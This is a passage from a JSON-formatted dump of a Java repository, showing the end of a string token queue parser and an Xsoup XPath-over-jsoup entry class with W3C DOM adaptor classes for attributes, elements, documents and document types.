string.\n     *\n     * @param in backslash escaped string\n     *\n     * @return unescaped string\n     */\n    public static String unescape(String in) {\n        StringBuilder out = new StringBuilder();\n        char last = 0;\n        for (char c : in.toCharArray()) {\n            if (c == ESC) {\n                if (last != 0 && last == ESC) out.append(c);\n            }\n            else {\n                out.append(c);\n            }\n            last = c;\n        }\n        return out.toString();\n    }\n\n    public static String trimQuotes(String str) {\n        Validate.isTrue(str != null && str.length() > 0);\n        String quote = str.substring(0, 1);\n        if (StringUtil.in(quote, \"\\\"\", \"'\")) {\n            Validate.isTrue(str.endsWith(quote), \"Quote\" + \" for \" + str + \" is incomplete!\");\n            str = str.substring(1, str.length() - 1);\n        }\n        return str;\n    }\n\n    public static List<String> trimQuotes(List<String> strs) {\n        Validate.isTrue(strs != null);\n        List<String> list = new ArrayList<String>();\n        for (String str : strs) {\n            list.add(trimQuotes(str));\n        }\n        return list;\n    }\n\n    public static List<String> parseFuncionParams(String paramStr) {\n        XTokenQueue tq = new XTokenQueue(paramStr);\n        return tq.parseFuncionParams();\n    }\n\n    /**\n     * Is the queue empty?\n     *\n     * @return true if no data left in queue.\n     */\n    public boolean isEmpty() {\n        return remainingLength() == 0;\n    }\n\n    private int remainingLength() {\n        return queue.length() - pos;\n    }\n\n    /**\n     * Retrieves but does not remove the first character from the queue.\n     *\n     * @return First character, or 0 if empty.\n     */\n    public char peek() {\n        return isEmpty() ? 0 : queue.charAt(pos);\n    }\n\n    /**\n     * Add a character to the start of the queue (will be the next character retrieved).\n     *\n     * @param c character to add\n     */\n    public void addFirst(Character c) {\n        addFirst(c.toString());\n    }\n\n    /**\n     * Add a string to the start of the queue.\n     *\n     * @param seq string to add.\n     */\n    public void addFirst(String seq) {\n        // not very performant, but an edge case\n        queue = seq + queue.substring(pos);\n        pos = 0;\n    }\n\n    /**\n     * Tests if the next characters on the queue match the sequence. Case insensitive.\n     *\n     * @param seq String to check queue for.\n     *\n     * @return true if the next characters match.\n     */\n    public boolean matches(String seq) {\n        return queue.regionMatches(true, pos, seq, 0, seq.length());\n    }\n\n    public boolean matchesRegex(String seq) {\n        return Pattern.matches(seq, queue.substring(pos));\n    }\n\n    /**\n     * Case sensitive match test.\n     *\n     * @param seq string to case sensitively check for\n     *\n     * @return true if matched, false if not\n     */\n    public boolean matchesCS(String seq) {\n        return queue.startsWith(seq, pos);\n    }\n\n    /**\n     * Tests if the next characters match any of the sequences. Case insensitive.\n     *\n     * @param seq list of strings to case insensitively check for\n     *\n     * @return true of any matched, false if none did\n     */\n    public boolean matchesAny(String... seq) {\n        for (String s : seq) {\n            if (matches(s)) return true;\n        }\n        return false;\n    }\n\n    public boolean matchesAny(char... seq) {\n        if (isEmpty()) return false;\n\n        for (char c : seq) {\n            if (queue.charAt(pos) == c) return true;\n        }\n        return false;\n    }\n\n    public boolean matchesStartTag() {\n        // micro opt for matching \"<x\"\n        return (remainingLength() >= 2 && queue.charAt(pos) == '<' && Character.isLetter(queue.charAt(pos + 1)));\n    }\n\n    /**\n     * Tests if the queue matches the sequence (as with match), and if they do, removes the matched string from the\n     * queue.\n     *\n     * @param seq String to search for, and if found, remove from queue.\n     *\n     * @return true if found and removed, false if not found.\n     */\n    public boolean matchChomp(String seq) {\n        if (matches(seq)) {\n            pos += seq.length();\n            return true;\n        }\n        else {\n            return false;\n        }\n    }\n\n    /**\n     * Tests if queue starts with a whitespace character.\n     *\n     * @return if starts with whitespace\n     */\n    public boolean matchesWhitespace() {\n        return !isEmpty() && StringUtil.isWhitespace(queue.charAt(pos));\n    }\n\n    /**\n     * Test if the queue matches a word character (letter or digit).\n     *\n     * @return if matches a word character\n     */\n    public boolean matchesWord() {\n        return !isEmpty() && Character.isLetterOrDigit(queue.charAt(pos));\n    }\n\n    /**\n     * Drops the next character off the queue.\n     */\n    public void advance() {\n        if (!isEmpty()) pos++;\n    }\n\n    /**\n     * Consume one character off queue.\n     *\n     * @return first character on queue.\n     */\n    public char consume() {\n        return queue.charAt(pos++);\n    }\n\n    /**\n     * Consumes the supplied sequence of the queue. If the queue does not start with the supplied sequence, will\n     * throw an illegal state exception -- but you should be running match() against that condition.\n     * <br>\n     * Case insensitive.\n     *\n     * @param seq sequence to remove from head of queue.\n     */\n    public void consume(String seq) {\n        if (!matches(seq)) throw new IllegalStateException(\"Queue did not match expected sequence\");\n        int len = seq.length();\n        if (len > remainingLength()) throw new IllegalStateException(\"Queue not long enough to consume sequence\");\n\n        pos += len;\n    }\n\n    /**\n     * Pulls a string off the queue, up to but exclusive of the match sequence, or to the queue running out.\n     *\n     * @param seq String to end on (and not include in return, but leave on queue). <b>Case sensitive.</b>\n     *\n     * @return The matched data consumed from queue.\n     */\n    public String consumeTo(String seq) {\n        int offset = queue.indexOf(seq, pos);\n        if (offset != -1) {\n            String consumed = queue.substring(pos, offset);\n            pos += consumed.length();\n            return consumed;\n        }\n        else {\n            return remainder();\n        }\n    }\n\n    public String consumeToIgnoreCase(String seq) {\n        int start = pos;\n        String first = seq.substring(0, 1);\n        boolean canScan = first.toLowerCase().equals(first.toUpperCase()); // if first is not cased, use index of\n        while (!isEmpty()) {\n            if (matches(seq)) break;\n\n            if (canScan) {\n                int skip = queue.indexOf(first, pos) - pos;\n                if (skip == 0) // this char is the skip char, but not match, so force advance of pos\n                {\n                    pos++;\n                }\n                else if (skip < 0) // no chance of finding, grab to end\n                {\n                    pos = queue.length();\n                }\n                else {\n                    pos += skip;\n                }\n            }\n            else {\n                pos++;\n            }\n        }\n\n        String data = queue.substring(start, pos);\n        return data;\n    }\n\n    /**\n     * Consumes to the first sequence provided, or to the end of the queue. Leaves the terminator on the queue.\n     *\n     * @param seq any number of terminators to consume to. <b>Case insensitive.</b>\n     *\n     * @return consumed string\n     */\n    // todo: method name. not good that consumeTo cares for case, and consume to any doesn't. And the only use for this\n    // is is a case sensitive time...\n    public String consumeToAny(String... seq) {\n        int start = pos;\n        while (!isEmpty() && !matchesAny(seq)) {\n            pos++;\n        }\n\n        String data = queue.substring(start, pos);\n        return data;\n    }\n\n    public String consumeAny(String... seq) {\n        for (String s : seq) {\n            if (matches(s)) {\n                pos += s.length();\n                return s;\n            }\n        }\n        return \"\";\n    }\n\n    /**\n     * Pulls a string off the queue (like consumeTo), and then pulls off the matched string (but does not return it).\n     * <br>\n     * If the queue runs out of characters before finding the seq, will return as much as it can (and queue will go\n     * isEmpty() == true).\n     *\n     * @param seq String to match up to, and not include in return, and to pull off queue. <b>Case sensitive.</b>\n     *\n     * @return Data matched from queue.\n     */\n    public String chompTo(String seq) {\n        String data = consumeTo(seq);\n        matchChomp(seq);\n        return data;\n    }\n\n    public String chompToIgnoreCase(String seq) {\n        String data = consumeToIgnoreCase(seq); // case insensitive scan\n        matchChomp(seq);\n        return data;\n    }\n\n    public String chompBalancedQuotes() {\n        String quote = consumeAny(quotes);\n        if (quote.length() == 0) {\n            return \"\";\n        }\n        StringBuilder accum = new StringBuilder(quote);\n        accum.append(consumeToUnescaped(quote));\n        accum.append(consume());\n        return accum.toString();\n    }\n\n    public String chompBalancedNotInQuotes(char open, char close) {\n        StringBuilder accum = new StringBuilder();\n        int depth = 0;\n        char last = 0;\n        boolean inQuotes = false;\n        Character quote = null;\n\n        do {\n            if (isEmpty()) break;\n            Character c = consume();\n            if (last == 0 || last != ESC) {\n                if (!inQuotes) {\n                    if (c.equals(singleQuote) || c.equals(doubleQuote)) {\n                        inQuotes = true;\n                        quote = c;\n                    }\n                    else if (c.equals(open)) {\n                        depth++;\n                    }\n                    else if (c.equals(close)) depth--;\n                }\n                else {\n                    if (c.equals(quote)) {\n                        inQuotes = false;\n                    }\n                }\n            }\n\n            if (depth > 0 && last != 0) accum.append(c); // don't include the outer match pair in the return\n            last = c;\n        } while (depth > 0);\n        return accum.toString();\n    }\n\n    /**\n     * Pulls a balanced string off the queue. E.g. if queue is \"(one (two) three) four\", (,) will return \"one (two) three\",\n     * and leave \" four\" on the queue. Unbalanced openers and closers can be escaped (with \\). Those escapes will be left\n     * in the returned string, which is suitable for regexes (where we need to preserve the escape), but unsuitable for\n     * contains text strings; use unescape for that.\n     *\n     * @param open opener\n     * @param close closer\n     *\n     * @return data matched from the queue\n     */\n    public String chompBalanced(char open, char close) {\n        StringBuilder accum = new StringBuilder();\n        int depth = 0;\n        char last = 0;\n\n        do {\n            if (isEmpty()) break;\n            Character c = consume();\n            if (last == 0 || last != ESC) {\n                if (c.equals(open)) {\n                    depth++;\n                }\n                else if (c.equals(close)) depth--;\n            }\n\n            if (depth > 0 && last != 0) accum.append(c); // don't include the outer match pair in the return\n            last = c;\n        } while (depth > 0);\n        return accum.toString();\n    }\n\n    /**\n     * Pulls the next run of whitespace characters of the queue.\n     *\n     * @return seen\n     */\n    public boolean consumeWhitespace() {\n        boolean seen = false;\n        while (matchesWhitespace()) {\n            pos++;\n            seen = true;\n        }\n        return seen;\n    }\n\n    /**\n     * Retrieves the next run of word type (letter or digit) off the queue.\n     *\n     * @return String of word characters from queue, or empty string if none.\n     */\n    public String consumeWord() {\n        int start = pos;\n        while (matchesWord()) pos++;\n        return queue.substring(start, pos);\n    }\n\n    /**\n     * Consume an tag name off the queue (word or :, _, -)\n     *\n     * @return tag name\n     */\n    public String consumeTagName() {\n        int start = pos;\n        while (!isEmpty() && (matchesWord() || matchesAny(':', '_', '-'))) pos++;\n\n        return queue.substring(start, pos);\n    }\n\n    /**\n     * Consume a CSS element selector (tag name, but | instead of : for namespaces, to not conflict with :pseudo selects).\n     *\n     * @return tag name\n     */\n    public String consumeElementSelector() {\n        int start = pos;\n        while (!isEmpty() && (matchesWord() || matchesAny('|', '_', '-'))) pos++;\n\n        return queue.substring(start, pos);\n    }\n\n    public void unConsume(int length) {\n        Validate.isTrue(length <= pos, \"length \" + length + \" is larger than consumed chars \" + pos);\n        pos -= length;\n    }\n\n    public void unConsume(String word) {\n        unConsume(word.length());\n    }\n\n    /**\n     * Consume a CSS identifier (ID or class) off the queue (letter, digit, -, _)\n     * http://www.w3.org/TR/CSS2/syndata.html#value-def-identifier\n     *\n     * @return identifier\n     */\n    public String consumeCssIdentifier() {\n        int start = pos;\n        while (!isEmpty() && (matchesWord() || matchesAny('-', '_'))) pos++;\n\n        return queue.substring(start, pos);\n    }\n\n    /**\n     * Consume an attribute key off the queue (letter, digit, -, _, :\")\n     *\n     * @return attribute key\n     */\n    public String consumeAttributeKey() {\n        int start = pos;\n        while (!isEmpty() && (matchesWord() || matchesAny('-', '_', ':'))) pos++;\n\n        return queue.substring(start, pos);\n    }\n\n    /**\n     * Consume and return whatever is left on the queue.\n     *\n     * @return remained of queue.\n     */\n    public String remainder() {\n        StringBuilder accum = new StringBuilder();\n        while (!isEmpty()) {\n            accum.append(consume());\n        }\n        return accum.toString();\n    }\n\n    @Override\n\tpublic String toString() {\n        return queue.substring(pos);\n    }\n\n    public boolean containsAny(String... seq) {\n        for (String s : seq) {\n            if (queue.contains(s)) {\n                return true;\n            }\n        }\n        return false;\n    }\n\n    public String consumeToUnescaped(String str) {\n        String s = consumeToAny(str);\n        if (s.length() > 0 && s.charAt(s.length() - 1) == '\\\\') {\n            s += consume();\n            s += consumeToUnescaped(str);\n        }\n        Validate.isTrue(pos < queue.length(), \"Unclosed quotes! \" + queue);\n        return s;\n    }\n\n    public List<String> parseFuncionParams() {\n        List<String> params = new ArrayList<String>();\n        StringBuilder accum = new StringBuilder();\n        while (!isEmpty()) {\n            consumeWhitespace();\n            if (matchChomp(\",\")) {\n                params.add(accum.toString());\n                accum = new StringBuilder();\n            }\n            else if (matchesAny(quotes)) {\n                String quoteUsed = consumeAny(quotes);\n                accum.append(quoteUsed);\n                accum.append(consumeToUnescaped(quoteUsed));\n                accum.append(consume());\n            }\n            else {\n                accum.append(consumeToAny(\"\\\"\", \"'\", \",\"));\n            }\n        }\n        if (accum.length() > 0) {\n            params.add(accum.toString());\n        }\n        return params;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/Xsoup.java",
    "content": "package com.jun.plugin.xsoup;\n\nimport org.jsoup.Jsoup;\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\nimport org.jsoup.select.NodeTraversor;\n\nimport com.jun.plugin.xsoup.w3c.NodeAdaptors;\nimport com.jun.plugin.xsoup.xevaluator.FormattingVisitor;\nimport com.jun.plugin.xsoup.xevaluator.XPathParser;\n\n/**\n * @author code4crafter@gmail.com\n */\npublic class Xsoup {\n\n    /*-------------     XEvaluator         --------------- */\n\n    public static XElements select(Element element, String xpathStr) {\n        return XPathParser.parse(xpathStr).evaluate(element);\n    }\n\n    public static XElements select(String html, String xpathStr) {\n        return XPathParser.parse(xpathStr).evaluate(Jsoup.parse(html));\n    }\n\n    public static XPathEvaluator compile(String xpathStr) {\n        return XPathParser.parse(xpathStr);\n    }\n\n    /*-------------     W3cAdaptor         --------------- */\n\n    public static org.w3c.dom.Element convertElement(Element element) {\n        return NodeAdaptors.getElement(element);\n    }\n\n    public static org.w3c.dom.Document convertDocument(Document document) {\n        return NodeAdaptors.getDocument(document);\n    }\n\n    public static String HtmlToPlainText(Element element) {\n        FormattingVisitor formatter = new FormattingVisitor();\n//        NodeTraversor.traverse(formatter, element);\n        return formatter.toString();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/w3c/AttributeAdaptor.java",
    "content": "package com.jun.plugin.xsoup.w3c;\n\nimport org.jsoup.nodes.Attribute;\nimport org.w3c.dom.Attr;\nimport org.w3c.dom.DOMException;\nimport org.w3c.dom.Document;\nimport org.w3c.dom.Element;\nimport org.w3c.dom.NamedNodeMap;\nimport org.w3c.dom.Node;\nimport org.w3c.dom.NodeList;\nimport org.w3c.dom.TypeInfo;\n\n/**\n * @author code4crafer@gmail.com\n */\npublic class AttributeAdaptor extends NodeAdaptor implements Attr {\n\n    private Attribute attribute;\n\n    private org.jsoup.nodes.Element element;\n\n    public AttributeAdaptor(Attribute attribute, org.jsoup.nodes.Element element) {\n        this.attribute = attribute;\n        this.element = element;\n    }\n\n    @Override\n    public String getName() {\n        return attribute.getKey();\n    }\n\n    @Override\n    public boolean getSpecified() {\n        return false;\n    }\n\n    @Override\n    public String getValue() {\n        return attribute.getValue();\n    }\n\n    @Override\n    public void setValue(String value) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public Element getOwnerElement() {\n        return NodeAdaptors.getElement(element);\n    }\n\n    @Override\n    public TypeInfo getSchemaTypeInfo() {\n        return new DummyTypeInfo();\n    }\n\n    @Override\n    public boolean isId() {\n        return false;\n    }\n\n    @Override\n    public String getNodeName() {\n        return attribute.getKey();\n    }\n\n    @Override\n    public String getNodeValue() throws DOMException {\n        return attribute.getValue();\n    }\n\n    @Override\n    public short getNodeType() {\n        return ATTRIBUTE_NODE;\n    }\n\n    @Override\n    public Node getParentNode() {\n        return new ElementAdaptor(element);\n    }\n\n    @Override\n    public NodeList getChildNodes() {\n        return null;\n    }\n\n    @Override\n    public Node getFirstChild() {\n        return null;\n    }\n\n    @Override\n    public Node getLastChild() {\n        return null;\n    }\n\n    @Override\n    public Node getPreviousSibling() {\n        return null;\n    }\n\n    @Override\n    public Node getNextSibling() {\n        return null;\n    }\n\n    @Override\n    public NamedNodeMap getAttributes() {\n        return null;\n    }\n\n    @Override\n    public Document getOwnerDocument() {\n        return new DocumentAdaptor(element.ownerDocument());\n    }\n\n    @Override\n    public boolean hasChildNodes() {\n        return false;\n    }\n\n    @Override\n    public Node cloneNode(boolean deep) {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public boolean hasAttributes() {\n        return false;\n    }\n\n    @Override\n    public short compareDocumentPosition(Node other) throws DOMException {\n        return 0;\n    }\n\n    @Override\n    public String getTextContent() throws DOMException {\n        return attribute.getValue();\n    }\n\n    @Override\n    public boolean isSameNode(Node other) {\n        return false;\n    }\n\n    @Override\n    public boolean isEqualNode(Node arg) {\n        return false;\n    }\n\n    @Override\n    public Object getUserData(String key) {\n        return null;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/w3c/AttributesAdaptor.java",
    "content": "package com.jun.plugin.xsoup.w3c;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport org.jsoup.nodes.Attribute;\nimport org.jsoup.nodes.Attributes;\nimport org.jsoup.nodes.Element;\nimport org.w3c.dom.Attr;\n\n/**\n * @author code4crafer@gmail.com\n */\npublic class AttributesAdaptor {\n\n    private Attributes attributes;\n\n    private org.jsoup.nodes.Element element;\n\n    private List<Attr> attrList;\n\n    public AttributesAdaptor(Attributes attributes, Element element) {\n        this.attributes = attributes;\n        this.element = element;\n        attrList = new ArrayList<Attr>();\n        for (Attribute attribute : attributes) {\n            attrList.add(new AttributeAdaptor(attribute, element));\n        }\n    }\n\n    public List<Attr> get() {\n        return attrList;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/w3c/DocumentAdaptor.java",
    "content": "package com.jun.plugin.xsoup.w3c;\n\nimport java.nio.charset.Charset;\nimport org.w3c.dom.Attr;\nimport org.w3c.dom.CDATASection;\nimport org.w3c.dom.Comment;\nimport org.w3c.dom.DOMConfiguration;\nimport org.w3c.dom.DOMException;\nimport org.w3c.dom.DOMImplementation;\nimport org.w3c.dom.Document;\nimport org.w3c.dom.DocumentFragment;\nimport org.w3c.dom.DocumentType;\nimport org.w3c.dom.Element;\nimport org.w3c.dom.EntityReference;\nimport org.w3c.dom.Node;\nimport org.w3c.dom.ProcessingInstruction;\nimport org.w3c.dom.Text;\n\n/**\n * @author code4crafer@gmail.com\n */\npublic class DocumentAdaptor extends ElementAdaptor implements Document {\n\n    private org.jsoup.nodes.Document document;\n\n    public DocumentAdaptor(org.jsoup.nodes.Document document) {\n        super(document);\n        this.document = document;\n    }\n\n    @Override\n    public DocumentType getDoctype() {\n        return new HtmlDocumentType(document);\n    }\n\n    @Override\n    public DOMImplementation getImplementation() {\n        return null;\n    }\n\n    @Override\n    public short getNodeType() {\n        return DOCUMENT_NODE;\n    }\n\n    @Override\n    public Element getDocumentElement() {\n        return this;\n    }\n\n    @Override\n    public Element getElementById(String elementId) {\n        return NodeAdaptors.getElement(document.getElementById(elementId));\n    }\n\n    @Override\n    public String getInputEncoding() {\n        return Charset.defaultCharset().name();\n    }\n\n    @Override\n    public String getXmlEncoding() {\n        return Charset.defaultCharset().name();\n    }\n\n    @Override\n    public boolean getXmlStandalone() {\n        return false;\n    }\n\n    @Override\n    public void setXmlStandalone(boolean xmlStandalone) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public String getXmlVersion() {\n        //TODO\n        return null;\n    }\n\n    @Override\n    public void setXmlVersion(String xmlVersion) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public boolean getStrictErrorChecking() {\n        return false;\n    }\n\n    @Override\n    public void setStrictErrorChecking(boolean strictErrorChecking) {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public String getDocumentURI() {\n        return document.baseUri();\n    }\n\n    @Override\n    public void setDocumentURI(String documentURI) {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public Node adoptNode(Node source) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public DOMConfiguration getDomConfig() {\n        return null;\n    }\n\n    @Override\n    public void normalizeDocument() {\n\n    }\n\n    @Override\n    public Node renameNode(Node n, String namespaceURI, String qualifiedName) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public Element createElement(String tagName) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public DocumentFragment createDocumentFragment() {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public Text createTextNode(String data) {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public Comment createComment(String data) {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public CDATASection createCDATASection(String data) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public ProcessingInstruction createProcessingInstruction(String target, String data) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public Attr createAttribute(String name) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public EntityReference createEntityReference(String name) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public Node importNode(Node importedNode, boolean deep) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public Element createElementNS(String namespaceURI, String qualifiedName) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public Attr createAttributeNS(String namespaceURI, String qualifiedName) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/w3c/DummyTypeInfo.java",
    "content": "package com.jun.plugin.xsoup.w3c;\n\nimport org.w3c.dom.TypeInfo;\n\n/**\n * @author code4crafer@gmail.com\n */\npublic class DummyTypeInfo implements TypeInfo {\n\n    private static final DummyTypeInfo INSTANCE = new DummyTypeInfo();\n\n    public static DummyTypeInfo getInstance() {\n        return INSTANCE;\n    }\n\n    @Override\n    public String getTypeName() {\n        return null;\n    }\n\n    @Override\n    public String getTypeNamespace() {\n        return null;\n    }\n\n    @Override\n    public boolean isDerivedFrom(String typeNamespaceArg, String typeNameArg, int derivationMethod) {\n        return false;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/w3c/ElementAdaptor.java",
    "content": "package com.jun.plugin.xsoup.w3c;\n\nimport org.jsoup.nodes.Attribute;\nimport org.w3c.dom.Attr;\nimport org.w3c.dom.DOMException;\nimport org.w3c.dom.Document;\nimport org.w3c.dom.Element;\nimport org.w3c.dom.NamedNodeMap;\nimport org.w3c.dom.Node;\nimport org.w3c.dom.NodeList;\nimport org.w3c.dom.TypeInfo;\n\n/**\n * @author code4crafer@gmail.com\n */\npublic class ElementAdaptor extends NodeAdaptor implements Element {\n\n    private org.jsoup.nodes.Element element;\n\n    public ElementAdaptor(org.jsoup.nodes.Element element) {\n        this.element = element;\n    }\n\n    @Override\n    public String getTagName() {\n        return element.tagName();\n    }\n\n    @Override\n    public String getAttribute(String name) {\n        return element.attr(name);\n    }\n\n    @Override\n    public Attr getAttributeNode(String name) {\n        if (element.attr(name) == null) {\n            return null;\n        }\n        return NodeAdaptors.getAttr(new Attribute(name, element.attr(name)), element);\n    }\n\n    @Override\n    public NodeList getElementsByTagName(String name) {\n        return NodeAdaptors.getNodeList(element.getElementsByTag(name));\n    }\n\n    @Override\n    public boolean hasAttribute(String name) {\n        return element.hasAttr(name);\n    }\n\n    @Override\n    public TypeInfo getSchemaTypeInfo() {\n        return DummyTypeInfo.getInstance();\n    }\n\n    @Override\n    public String getNodeName() {\n        return element.nodeName();\n    }\n\n    @Override\n    public String getNodeValue() throws DOMException {\n        return element.outerHtml();\n    }\n\n    @Override\n    public short getNodeType() {\n        return ELEMENT_NODE;\n    }\n\n    @Override\n    public Node getParentNode() {\n        return NodeAdaptors.getElement(element.parent());\n    }\n\n    @Override\n    public NodeList getChildNodes() {\n        return NodeAdaptors.getNodeList(element.childNodes());\n    }\n\n    @Override\n    public Node getFirstChild() {\n        if (element.children().isEmpty()) {\n            return null;\n        }\n        return NodeAdaptors.getNode(element.child(0));\n    }\n\n    @Override\n    public Node getLastChild() {\n        if (element.children().isEmpty()) {\n            return null;\n        }\n        return NodeAdaptors.getNode(element.child(element.childNodeSize()));\n    }\n\n    @Override\n    public Node getPreviousSibling() {\n        return NodeAdaptors.getNode(element.previousSibling());\n    }\n\n    @Override\n    public Node getNextSibling() {\n        return NodeAdaptors.getNode(element.nextSibling());\n    }\n\n    @Override\n    public NamedNodeMap getAttributes() {\n        return NodeAdaptors.getNamedNodeMap(NodeAdaptors.getAttributes(element.attributes(), element));\n    }\n\n    @Override\n    public String getTextContent() throws DOMException {\n        return element.text();\n    }\n\n    @Override\n    public Document getOwnerDocument() {\n        return NodeAdaptors.getDocument(element.ownerDocument());\n    }\n\n    @Override\n    public boolean hasChildNodes() {\n        return !element.children().isEmpty();\n    }\n\n    @Override\n    public Node cloneNode(boolean deep) {\n        return null;\n    }\n\n    @Override\n    public boolean hasAttributes() {\n        return true;\n    }\n\n    @Override\n    public short compareDocumentPosition(Node other) throws DOMException {\n        return 0;\n    }\n\n    @Override\n    public boolean isSameNode(Node other) {\n        return false;\n    }\n\n    @Override\n    public boolean isEqualNode(Node arg) {\n        return false;\n    }\n\n    @Override\n    public Object getUserData(String key) {\n        return null;\n    }\n\n    /*----------------------------- update - not support-------------*/\n    @Override\n    public void setAttribute(String name, String value) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public void removeAttribute(String name) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public Attr setAttributeNode(Attr newAttr) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public Attr removeAttributeNode(Attr oldAttr) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public void setAttributeNS(String namespaceURI, String qualifiedName, String value) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public void removeAttributeNS(String namespaceURI, String localName) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public Attr setAttributeNodeNS(Attr newAttr) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public void setIdAttribute(String name, boolean isId) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public void setIdAttributeNS(String namespaceURI, String localName, boolean isId) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public void setIdAttributeNode(Attr idAttr, boolean isId) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    /*--------------------- NS not supported ----------------*/\n\n    @Override\n    public String getAttributeNS(String namespaceURI, String localName) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public Attr getAttributeNodeNS(String namespaceURI, String localName) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public NodeList getElementsByTagNameNS(String namespaceURI, String localName) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n\n    @Override\n    public boolean hasAttributeNS(String namespaceURI, String localName) throws DOMException {\n        throw new UnsupportedOperationException();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/w3c/HtmlDocumentType.java",
    "content": "package com.jun.plugin.xsoup.w3c;\n\nimport org.w3c.dom.DOMException;\nimport org.w3c.dom.Document;\nimport org.w3c.dom.DocumentType;\nimport org.w3c.dom.NamedNodeMap;\nimport org.w3c.dom.Node;\nimport org.w3c.dom.NodeList;\n\n/**\n * @author code4crafer@gmail.com\n */\npublic class HtmlDocumentType extends NodeAdaptor implements DocumentType {\n\n    private org.jsoup.nodes.Document document;\n\n    public HtmlDocumentType(org.jsoup.nodes.Document document) {\n        this.document = document;\n    }\n\n    @Override\n    public String getNodeName() {\n        return \"html\";\n    }\n\n    @Override\n    public String getNodeValue() throws DOMException {\n        return null;\n    }\n\n    @Override\n    public short getNodeType() {\n        return DOCUMENT_TYPE_NODE;\n    }\n\n    @Override\n    public Node getParentNode() {\n        return null;\n    }\n\n    @Override\n    public NodeList getChildNodes() {\n        return null;\n    }\n\n    @Override\n    public Node getFirstChild() {\n        return null;\n    }\n\n    @Override\n    public Node getLastChild() {\n        return null;\n    }\n\n    @Override\n    public Node getPreviousSibling() {\n        return null;\n    }\n\n    @Override\n    public Node getNextSibling() {\n        return null;\n    }\n\n    @Override\n    public NamedNodeMap getAttributes() {\n        return null;\n    }\n\n    @Override\n    public Document getOwnerDocument() {\n        return NodeAdaptors.getDocument(document);\n    }\n\n    @Override\n    public boolean hasChildNodes() {\n        return false;\n    }\n\n    @Override\n    public Node cloneNode(boolean deep) {\n        return null;\n    }\n\n    @Override\n    public boolean hasAttributes() {\n        return false;\n    }\n\n    @Override\n    public short compareDocumentPosition(Node other) throws DOMException {\n        return 0;\n    }\n\n    @Override\n    public String getTextContent() throws DOMException {\n        return document.text();\n    }\n\n    @Override\n    public boolean isSameNode(Node other) {\n        return false;\n    }\n\n    @Override\n    public boolean isEqualNode(Node arg) {\n        return false;\n    }\n\n    @Override\n    public Object getUserData(String key) {\n        return null;\n    }\n\n    @Override\n    public String getName() {\n        return \"html\";\n    }\n\n    @Override\n    public NamedNodeMap getEntities() {\n        return null;\n    }\n\n    @Override\n    public NamedNodeMap getNotations() {\n        return null;\n    }\n\n    @Override\n    public String getPublicId() {\n        return null;\n    }\n\n    @Override\n    public String getSystemId() {\n        return null;\n    }\n\n    @Override\n    public String getInternalSubset() {\n        return null;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/main/java/com/jun/plugin/xsoup/w3c/NamedNodeMapAdaptor.java",
